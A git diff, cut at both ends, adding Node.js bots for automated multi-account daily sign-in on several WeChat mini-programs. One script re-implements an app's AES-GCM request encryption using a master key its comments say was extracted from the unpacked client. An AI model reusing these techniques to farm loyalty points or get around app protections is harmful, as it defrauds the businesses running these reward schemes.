sign: sign, time: time, version: version } = getSign({ - openid: $.openid - }, 'GET', false) - let { data: result } = await Request({ - method: 'GET', - url: 'https://popvip.paquapp.com/miniapp/v2/sign_in/everySignDay/?openid=' + $.openid + '&sign=' + sign + '&time=' + time + '&version=' + version, - headers: { - 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220067 MMWEBSDK/20240404 MMWEBID/8150 MicroMessenger/8.0.49.2600(0x28003156) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android', - 'Accept-Encoding': 'gzip,compress,br,deflate', - 'identity_code': $.openid, - 'charset': 'utf-8', - 'content-type': 'application/x-www-form-urlencoded;charset=utf-8', - 'Referer': 'https://servicewechat.com/wx9627eb7f4b1c69d5/638/page-frame.html' - } - }) - result?.code == 1 ? $.log(`签到状态:${result.data.sign}`) : "" -} -async function UserInfo() { - let { sign: sign, time: time, version: version } = getSign({ - user_id: $.id - }, 'GET', false) - let { data: result } = await Request({ - method: 'GET', - url: 'https://popvip.paquapp.com/miniapp/v2/wechat/getUserInfo/?user_id=' + $.id + '&sign=' + sign + '&time=' + time + '&version=' + version, - headers: { - 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220067 MMWEBSDK/20240404 MMWEBID/8150 MicroMessenger/8.0.49.2600(0x28003156) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android', - 'Accept-Encoding': 'gzip,compress,br,deflate', - 'identity_code': $.openid, - 'charset': 'utf-8', - 'content-type': 'application/x-www-form-urlencoded;charset=utf-8', - 'Referer': 'https://servicewechat.com/wx9627eb7f4b1c69d5/638/page-frame.html' - } - }) - result?.code == 1 ? ($.log(`${result.data.nickname} 积分【${result.data.points}】`), $.ckStatus = true) : $.ckStatus = false -} - -function checkEnv(userCookie) { - const envSplitor = ["&", "\n"]; - let userList = userCookie.split(envSplitor.find(o => userCookie.includes(o)) || "&").filter(n => n); - console.log(`共找到${userList.length}个账号`); - return userList; -} -//Env Api ============================= -/* - * @modifyAuthor @smallfawn - * @modifyTime 2024-05-01 - * @modifyInfo 抽离操作文件的函数 - */ -function Env(t, s) { - return new (class { - constructor(t, s) { - this.name = t; - this.logs = []; - this.logSeparator = "\n"; - this.startTime = new Date().getTime(); - Object.assign(this, s); - this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`); - } - isNode() { - return "undefined" != typeof module && !!module.exports; - } - isQuanX() { - return "undefined" != typeof $task; - } - - queryStr(options) { - return Object.entries(options) - .map( - ([key, value]) => - `${key}=${typeof value === "object" ? JSON.stringify(value) : value - }` - ) - .join("&"); - } - getURLParams(url) { - const params = {}; - const queryString = url.split("?")[1]; - if (queryString) { - const paramPairs = queryString.split("&"); - paramPairs.forEach((pair) => { - const [key, value] = pair.split("="); - params[key] = value; - }); - } - return params; - } - isJSONString(str) { - try { - return JSON.parse(str) && typeof JSON.parse(str) === "object"; - } catch (e) { - return false; - } - } - isJson(obj) { - var isjson = - typeof obj == "object" && - Object.prototype.toString.call(obj).toLowerCase() == - "[object object]" && - !obj.length; - return isjson; - } - async sendMsg(message) { - if (!message) return; - if (this.isNode()) { - await notify.sendNotify(this.name, message); - } else { - this.msg(this.name, "", message); - } - } - randomNumber(length) { - const characters = "0123456789"; - return Array.from( - { length }, - () => characters[Math.floor(Math.random() * characters.length)] - ).join(""); - } - randomString(length) { - const characters = "abcdefghijklmnopqrstuvwxyz0123456789"; - return Array.from( - { length }, - () => characters[Math.floor(Math.random() * characters.length)] - ).join(""); - } - uuid() { - return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace( - /[xy]/g, - function (c) { - var r = (Math.random() * 16) | 0, - v = c == "x" ? r : (r & 0x3) | 0x8; - return v.toString(16); - } - ); - } - time(t) { - let s = { - "M+": new Date().getMonth() + 1, - "d+": new Date().getDate(), - "H+": new Date().getHours(), - "m+": new Date().getMinutes(), - "s+": new Date().getSeconds(), - "q+": Math.floor((new Date().getMonth() + 3) / 3), - S: new Date().getMilliseconds(), - }; - /(y+)/.test(t) && - (t = t.replace( - RegExp.$1, - (new Date().getFullYear() + "").substr(4 - RegExp.$1.length) - )); - for (let e in s) { - new RegExp("(" + e + ")").test(t) && - (t = t.replace( - RegExp.$1, - 1 == RegExp.$1.length - ? s[e] - : ("00" + s[e]).substr(("" + s[e]).length) - )); - } - return t; - } - msg(title = t, subtitle = "", body = "", options) { - const formatOptions = (options) => { - if (!options) { - return options; - } else if (typeof options === "string") { - if (this.isQuanX()) { - return { "open-url": options }; - } else { - return undefined; - } - } else if ( - typeof options === "object" && - (options["open-url"] || options["media-url"]) - ) { - if (this.isQuanX()) { - return options; - } else { - return undefined; - } - } else { - return undefined; - } - }; - if (!this.isMute) { - if (this.isQuanX()) { - $notify(title, subtitle, body, formatOptions(options)); - } - } - let logs = ["", "==============📣系统通知📣=============="]; - logs.push(title); - subtitle ? logs.push(subtitle) : ""; - body ? logs.push(body) : ""; - console.log(logs.join("\n")); - this.logs = this.logs.concat(logs); - } - log(...t) { - t.length > 0 && (this.logs = [...this.logs, ...t]), - console.log(t.join(this.logSeparator)); - } - logErr(t, s) { - const e = !this.isQuanX(); - e - ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) - : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t); - } - wait(t) { - return new Promise((s) => setTimeout(s, t)); - } - done(t = {}) { - const s = new Date().getTime(), - e = (s - this.startTime) / 1e3; - this.log( - "", - `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2` - ); - this.log(); - if (this.isNode()) { - process.exit(1); - } - if (this.isQuanX()) { - $done(t); - } - } - })(t, s); -} - -async function Request(options) { - if ($.isNode()) { - const axios = require("axios"); - Request = async (options) => { - try { - return axios.request(options); - } catch (error) { - throw error && error.error ? error.error : "请求失败"; - } - }; - } - if ($.isQuanX()) { - Request = async (options) => { - try { - return await $task.fetch(options); - } catch (error) { - throw error && error.error ? error.error : "请求失败"; - } - }; - } - return await Request(options) -} diff --git a/wxapp/qianjinjiankang.js b/wxapp/qianjinjiankang.js new file mode 100644 index 00000000..a68997e4 --- /dev/null +++ b/wxapp/qianjinjiankang.js @@ -0,0 +1,275 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.01 +@Description: 千金健康生活微信小程序签到 +cron: 30 8 * * * +------------------------------------------ +#Notice: +变量名 qianjinjiankang +变量值:wx_server 里的 openid/账号标识,多账户&或换行 +依赖变量:wx_server_url、wx_auth + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充本声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("千金健康生活微信小程序签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +const ckName = "qianjinjiankang"; +const strSplitor = "#"; +const MINI_APP_ID = "wxf5a93358ebb65e29"; +const PAGE_VERSION = "35"; +const API_BASE = "https://rs-crm.qjyy.com"; +const WX_API_BASE = "https://ops-crm.qjyy.com/api/wechat"; +const TASK_PACK_ACTIVITY_ID = 12; +const SIGN_TASK_CODE = "8361ec6193a74fabb3a9f67b73858f7b"; +const TOKEN_CACHE_FILE = path.join(__dirname, "qianjinjiankang_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13)"; + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function shortToken(token = "") { + return token ? `${token.slice(0, 8)}***${token.slice(-6)}` : ""; +} + +function maskPhone(phone = "") { + const text = String(phone || ""); + return /^1\d{10}$/.test(text) ? `${text.slice(0, 3)}****${text.slice(7)}` : text; +} + +function getContent(result) { + return result?.content || result?.data || result || {}; +} + +function isTokenError(e) { + return /401|403|token|登录|授权|ERR_USER_TOKEN_ERROR|用户令牌/i.test(String(e?.message || e || "")); +} + +class Task { + constructor(env) { + this.index = $.userIdx++; + this.user = String(env || "").trim().split(strSplitor); + this.openid = (this.user[0] || "").trim(); + this.token = ""; + this.tenId = ""; + this.wxOpenid = ""; + this.customerInfo = {}; + } + + async run() { + const cached = this.getCachedToken(); + if (cached?.accessToken) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token: ${shortToken(this.token)}`); + if (!(await this.checkToken())) { + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + this.removeCachedToken(); + } + } + + if (!this.token) { + await this.loginByWxCode(); + if (!this.token) return; + } + + await this.getCustomerInfo(); + await this.signIn(); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.token || !this.tenId) return; + const cache = readTokenCache(); + cache[this.openid] = { + accessToken: this.token, + tenId: this.tenId, + wxOpenid: this.wxOpenid, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.token = ""; + this.tenId = ""; + this.wxOpenid = ""; + } + + applyToken(data = {}) { + this.token = data.accessToken || data.token || ""; + this.tenId = data.tenId || data.tenid || ""; + this.wxOpenid = data.wxOpenid || data.openid || ""; + } + + headers(extra = {}) { + return { + "content-type": "application/json; charset=UTF-8", + Authorization: this.token || "", + wxAppId: MINI_APP_ID, + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "User-Agent": USER_AGENT, + ...extra, + }; + } + + async request(method, url, data = {}, options = {}) { + const req = { + method, + url, + headers: this.headers(options.headers || {}), + timeout: options.timeout || 30000, + validateStatus: () => true, + }; + if (method === "GET") req.params = data; + else req.data = data || {}; + + const { data: result, status } = await axios.request(req); + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + if (!result || ![0, 200].includes(Number(result.code))) { + throw new Error(`${result?.code ?? ""} ${result?.message || result?.msg || JSON.stringify(result)}`.trim()); + } + return getContent(result); + } + + async api(pathname, data = {}, method = "POST") { + if (!this.tenId) throw new Error("缺少tenId,无法请求业务接口"); + return this.request(method, `${API_BASE}${pathname}?tenid=${this.tenId}`, data); + } + + async getOperateData() { + const wxServerUrl = process.env.wx_server_url; + const wxAuth = process.env.wx_auth; + if (!wxServerUrl || !wxAuth) throw new Error("未配置 wx_server_url 或 wx_auth"); + + const { data } = await axios.post( + `${wxServerUrl.replace(/\/$/, "")}/wx/getuserinfo`, + { appid: MINI_APP_ID, openid: this.openid }, + { + headers: { auth: wxAuth }, + timeout: 45000, + validateStatus: () => true, + }, + ); + const result = data?.data || {}; + if (!data?.status || !result.code) { + throw new Error(`wx_server 未返回code: ${JSON.stringify(data)}`); + } + return result; + } + + async loginByWxCode() { + try { + const wxData = await this.getOperateData(); + const data = await this.request("GET", `${WX_API_BASE}/user/auth/mini`, { + code: wxData.code, + appId: MINI_APP_ID, + app: 503, + }, { headers: { Authorization: "" } }); + + this.token = data.accessToken || ""; + this.tenId = data.tenId || ""; + this.wxOpenid = data.openid || ""; + if (!this.token || !this.tenId) throw new Error(`登录响应缺少token/tenId: ${JSON.stringify(data)}`); + + this.saveCachedToken(); + $.log(`账号[${this.index}] CODE登录成功: tenId=${this.tenId} openid=${this.wxOpenid}`); + } catch (e) { + $.log(`账号[${this.index}] CODE登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.getCustomerInfo(false); + return true; + } catch (e) { + return false; + } + } + + async getCustomerInfo(log = true) { + const data = await this.api("/api/crm/rest/v2/customer/info", {}); + this.customerInfo = data || {}; + if (log) { + $.log(`账号[${this.index}] 会员: ${this.customerInfo.cstName || this.customerInfo.cstId || ""} ${maskPhone(this.customerInfo.phone || "")} 积分=${this.customerInfo.pointall ?? this.customerInfo.points ?? "未知"}`); + } + return data; + } + + async getSignTaskStatus() { + return this.api("/api/crm/iactivity/taskPack/status", { + activityId: TASK_PACK_ACTIVITY_ID, + taskCode: SIGN_TASK_CODE, + }); + } + + async signIn() { + try { + const status = await this.getSignTaskStatus(); + $.log(`账号[${this.index}] 签到状态: status=${status.status ?? ""} buttonType=${status.buttonType || ""}`); + if ([1, 2, 55].includes(Number(status.status)) || /已完成|已签到/i.test(String(status.buttonType || ""))) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + + const data = await this.api("/api/crm/iactivity/taskPack/participate", { + activityId: TASK_PACK_ACTIVITY_ID, + taskCode: SIGN_TASK_CODE, + }); + const awards = (data.givenRecords || []).map((item) => item.awardName).filter(Boolean).join("+"); + $.log(`账号[${this.index}] 签到成功${awards ? `,获得${awards}` : ""}`); + } catch (e) { + const message = e.message || String(e); + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (isTokenError(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const item of $.userList) { + if (!item) continue; + const task = new Task(item); + await task.run(); + await $.wait(1000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/qmai.js b/wxapp/qmai.js new file mode 100644 index 00000000..a9d1230a --- /dev/null +++ b/wxapp/qmai.js @@ -0,0 +1,311 @@ +/* +------------------------------------------ +@Description: 企迈云商 qmai 平台通用 - 微信小程序静默登录 + 每日签到 + 一份脚本覆盖所有用企迈(qmai)的餐饮品牌小程序(林里/爷爷不泡茶/…) +cron: 51 8 * * * +------------------------------------------ +变量名:qmai +变量值:openid#appid#storeId#activityId[#备注],一行一个店铺,多行或 & 分隔 + openid = wx_server 里的账号标识 + appid = 该小程序 appid + storeId = 门店 id,取自解包 app-config.json 的 ext.storeId(例:212501) + activityId = 签到活动 id。运营给每个店固定配一个,从签到页 URL 抓一次即可: + 进小程序签到页,抓 webapi.qmai.cn/web/cmk-center/sign/* 请求体里的 activityId + (例:爷爷不泡茶=983701274523176960)。没有它服务端回「活动id为空」。 + 例:owNAX6ky****#wx26c7aaacfa017719#212501#<活动id>#林里 + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(webapi.qmai.cn/web,信封 {status, code, message, data},成功 status===true): + +★ 这家对 webapi.qmai.cn 全站**强制 AES-GCM 请求体加密**(解包 requestEncryptSdk): + - key = 宽松 base64 解码 "mN6KpXq8Sv2WxYz9LdFcRgHjMnBvCtDxZaS3QwE5rT0yU7I4O1A" + 取前 32 字节(解包模块 93 的 master key + 模块内 M() 的归一化逻辑) + - 明文 = JSON.stringify(body),body 会被自动补 appid(解包 j(): e.appid||(e.appid=x.appid)) + - 12 字节随机 iv,aad="" (aadEnabled 默认关) + - 请求体 = {"payload": base64(ciphertext‖tag)} + - 头 QM-Encrypt-Meta = base64(JSON{version:"1.0.0", timestamp:ms, iv:base64(iv)}) + - 响应同样加密:{"payload":...} + 响应头 QM-Encrypt-Meta 带解密用的 iv + keyVersion "1.0.0" 来自解包 ee.master.keyVersion。这是加密不是风控,可复刻。 + +固定头:Qm-From:wechat / Qm-From-Type:catering / store-id: / Accept:v=1.0 + +登录 POST /account-center/oauth/mini-app-login 明文 {code, eVersion:"1.0", appid} + -> data.{token, user, store};token 放后续请求头 Qm-User-Token +状态 POST /cmk-center/sign/userSignStatistics {activityId, appid} -> 今日签到/连签 +签到 POST /cmk-center/sign/takePartInSign {activityId, appid} -> status===true 即成功 + +⚠️ 实测:AES-GCM 加密握手 + 登录**已实测通过**(token/memberId 到手,登录 status:true)。 +签到接口要 activityId(每店固定),本测试号未持有 linli 店的 activityId,所以 +takePartInSign 本身未实测,只按契约实现。填对 storeId+activityId 的号跑起来即可验证。 +不做:邀请/抽奖/兑换等营销插件。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("企迈qmai平台签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "qmai"; +const BASE = "https://webapi.qmai.cn/web"; +const KEY_RAW = "mN6KpXq8Sv2WxYz9LdFcRgHjMnBvCtDxZaS3QwE5rT0yU7I4O1A"; +const KEY_VERSION = "1.0.0"; +const META_HEADER = "QM-Encrypt-Meta"; +const TOKEN_CACHE_FILE = path.join(__dirname, "qmai_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN = "/account-center/oauth/mini-app-login"; +const EP_STATS = "/cmk-center/sign/userSignStatistics"; +const EP_SIGN = "/cmk-center/sign/takePartInSign"; + +/** 解包 M(): 宽松 base64 解码,非 32 字节则取前 32 补零 */ +function deriveKey(raw) { + let b; + try { + b = Buffer.from(raw.replace(/^key-/i, ""), "base64"); + } catch (e) { + b = Buffer.from(raw, "utf8"); + } + if (b.length === 32) return b; + const out = Buffer.alloc(32); + b.copy(out, 0, 0, Math.min(b.length, 32)); + return out; +} +const KEY = deriveKey(KEY_RAW); + +/** AES-256-GCM:返回 base64(ciphertext‖16字节tag) */ +function gcmEncrypt(plaintext, iv) { + const c = crypto.createCipheriv("aes-256-gcm", KEY, iv); + const enc = Buffer.concat([c.update(plaintext, "utf8"), c.final()]); + return Buffer.concat([enc, c.getAuthTag()]).toString("base64"); +} +function gcmDecrypt(b64, iv) { + const buf = Buffer.from(b64, "base64"); + const tag = buf.subarray(buf.length - 16); + const data = buf.subarray(0, buf.length - 16); + const d = crypto.createDecipheriv("aes-256-gcm", KEY, iv); + d.setAuthTag(tag); + return Buffer.concat([d.update(data), d.final()]).toString("utf8"); +} +/** 宽松 base64 → Buffer(补齐 padding) */ +const b64relax = (s) => Buffer.from(s + "=".repeat((4 - (s.length % 4)) % 4), "base64"); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [openid, appid, storeId, activityId, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid, appid, storeId, activityId, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +const isOk = (res) => !!res && res.status === true && Number(res.code || 0) === 0; +const codeOf = (res) => Number(res?.code); +const msgOf = (res) => res?.message || res?.msg || short(res); +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isAuthError = (res) => codeOf(res) === 401 || /token|登录|未授权|失效|过期/i.test(msgOf(res)); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: this.account.appid, + auth: process.env.wx_auth || "", + }); + } + + log(text) { + const tag = this.account.remark || this.account.appid || ""; + $.log(`账号[${this.index}]${tag ? `[${tag}]` : ""} ${text}`); + } + + headers(tok = "") { + return { + Accept: "v=1.0", + "store-id": this.account.storeId, + "Qm-From-Type": "catering", + "Qm-From": "wechat", + "content-type": "application/json", + "Qm-User-Token": tok || "", + "Accept-Language": "zh", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${this.account.appid}/0/page-frame.html`, + xweb_xhr: "1", + }; + } + + /** 加密请求 + 解密响应 */ + async request(apiPath, body, tok = "") { + const payloadObj = { ...body }; + if (!payloadObj.appid) payloadObj.appid = this.account.appid; // 解包 j() 自动补 appid + const iv = crypto.randomBytes(12); + const ts = Date.now(); + const cipher = gcmEncrypt(JSON.stringify(payloadObj), iv); + const meta = Buffer.from( + JSON.stringify({ version: KEY_VERSION, timestamp: ts, iv: iv.toString("base64") }) + ).toString("base64"); + const headers = this.headers(tok); + headers[META_HEADER] = meta; + const res = await axios.request({ + method: "POST", + url: `${BASE}${apiPath}`, + data: { payload: cipher }, + headers, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status !== 200) { + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + const data = res.data; + // 响应可能是明文(错误信封)或加密 {payload} + if (data && typeof data === "object" && typeof data.payload === "string") { + const rmeta = res.headers[META_HEADER.toLowerCase()] || res.headers[META_HEADER]; + if (!rmeta) throw new Error(`${apiPath}: 响应加密但缺 ${META_HEADER}`); + const mj = JSON.parse(b64relax(rmeta).toString("utf8")); + const riv = b64relax(mj.iv); + return JSON.parse(gcmDecrypt(data.payload, riv)); + } + return data; + } + + /** wcs.getCode 在 status:false 时也 resolve,必须自己判失败,否则取码限流会被误报成登录失败 */ + async getCode() { + const { data } = await this.wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + get cacheKey() { + return `${this.account.openid}#${this.account.appid}`; + } + + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { code, eVersion: "1.0" }); + if (!isOk(res) || !(res.data || {}).token) throw new Error(`登录失败: ${msgOf(res)}`); + this.token = String(res.data.token); + const member = res.data.user || {}; + const cache = readCache(); + cache[this.cacheKey] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功${member.memberId || member.id ? `(会员 ${String(member.memberId || member.id).slice(0, 8)}…)` : ""}`); + } + + /** 读签到状态;会话失效返回 null */ + async stats(needLog = true) { + const res = await this.request(EP_STATS, { activityId: this.account.activityId }, this.token); + if (!isOk(res)) { + if (isAuthError(res)) return null; + if (needLog) this.log(`读取签到状态失败: ${msgOf(res)}`); + return { failed: true, res }; + } + const d = res.data || {}; + if (needLog) this.log(`签到状态: ${short(d, 140)}`); + // 常见字段:todaySign / isSign / continuousDays + const signed = d.todaySign === true || d.isSign === true || Number(d.todaySignStatus) === 1; + return { signed, data: d }; + } + + async ensureLogin() { + const cached = readCache()[this.cacheKey] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + const s = await this.stats(false); + if (s !== null) { + this.log("使用缓存token"); + return s; + } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + return null; + } + + async sign(pre) { + if (pre === null || pre === undefined) pre = await this.stats(); + if (pre === null) { + this.log("❌ 会话无效,签到跳过"); + return; + } + if (pre.failed) { + this.log(`❌ 读取签到状态失败: ${msgOf(pre.res)}`); + return; + } + if (pre.signed) { + this.log("✅ 今日已签到"); + return; + } + const res = await this.request(EP_SIGN, { activityId: this.account.activityId }, this.token); + if (isOk(res)) { + const d = res.data || {}; + const gain = d.point ?? d.integral ?? d.reward; + this.log(`✅ 签到成功${gain !== undefined ? `,+${gain}` : ""}`); + return; + } + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid || !this.account.appid || !this.account.storeId || !this.account.activityId) { + this.log("跳过:变量值要写成 openid#appid#storeId#activityId[#备注](activityId 从签到页抓一次)"); + return; + } + try { + const pre = await this.ensureLogin(); + await this.sign(pre); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/qmsd.js b/wxapp/qmsd.js new file mode 100644 index 00000000..b0f0b413 --- /dev/null +++ b/wxapp/qmsd.js @@ -0,0 +1,255 @@ +/* +------------------------------------------ +@Description: 全棉时代 - 微信小程序静默登录 + 每日签到 +cron: 51 11 * * * +------------------------------------------ +变量名:qmsd +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxdfcaa44b1aa891a7,host nmp.pureh2b.com): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录) + +请求头:token=<登录返回token> / code=<客户端设备UUID,本脚本按openid生成并缓存,非个人凭证> + content-type / user-agent(微信) / referer(servicewechat) +登录 GET /api/wx/main/login?code=(头 token 为空) + -> 成功: 返回体含 token + member;token=后续鉴权,member.availablePoint=积分 + -> 失败/未注册: 返回 {message:...} 无 token +签到ID POST /api/new/navigation/category/query {pageNum,pageSize,venueType:"MAIN",categoryId:"010002"} + -> 从 componentList 的 redirectInfo.info 里解析 signId(形如 QD\d+);失败回退默认 QD 号 +签到详情 GET /api/new/member/sign/index?signId= + -> data.signMember.signDateList 含今天(UTC+8) = 已签;signDays=累计天数 +签到 POST /api/new/member/sign/signIn {signType:1, signInId:} + -> 返回数组:长度>0 取 [0].rewardPoint(本次积分);空数组=今日已签 +appid 是固定应用标识;code 头为客户端设备 UUID(本脚本自动生成缓存,不使用作者的)。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("全棉时代签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "qmsd"; +const MINI_APP_ID = "wxdfcaa44b1aa891a7"; +const PAGE_VERSION = "1376"; +const API_HOST = "https://nmp.pureh2b.com"; +const DEFAULT_SIGN_ID = process.env.QMSD_SIGN_ID || "QD26060001"; +const TOKEN_CACHE_FILE = path.join(__dirname, "qmsd_token_cache.json"); +const UA = + "Mozilla/5.0 (iPhone; CPU iPhone OS 16_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) " + + "Mobile/15E148 MicroMessenger/8.0.34(0x18002230) NetType/WIFI Language/zh_CN"; + +const EP_LOGIN = "/api/wx/main/login"; +const EP_CATEGORY = "/api/new/navigation/category/query"; +const EP_NAV = "/api/new/navigation/nav/query"; +const EP_SIGN_INDEX = "/api/new/member/sign/index"; +const EP_SIGN_IN = "/api/new/member/sign/signIn"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 300) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function uuidV4() { + return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, (c) => { + const r = (Math.random() * 16) | 0, v = c === "x" ? r : (r & 0x3) | 0x8; + return v.toString(16); + }); +} +function chinaToday() { + return new Date(Date.now() + 8 * 3600 * 1000).toISOString().slice(0, 10); +} +function parseSignIdFromInfo(info) { + if (!info || typeof info !== "string") return ""; + const m = info.match(/[?&]id=([^&]+)/i) || info.match(/(QD\d+)/i); + return m ? decodeURIComponent(m[1]) : ""; +} +function findSignIdInObject(obj) { + if (!obj) return ""; + if (typeof obj === "string") return parseSignIdFromInfo(obj); + if (Array.isArray(obj)) { + for (const item of obj) { const id = findSignIdInObject(item); if (id) return id; } + return 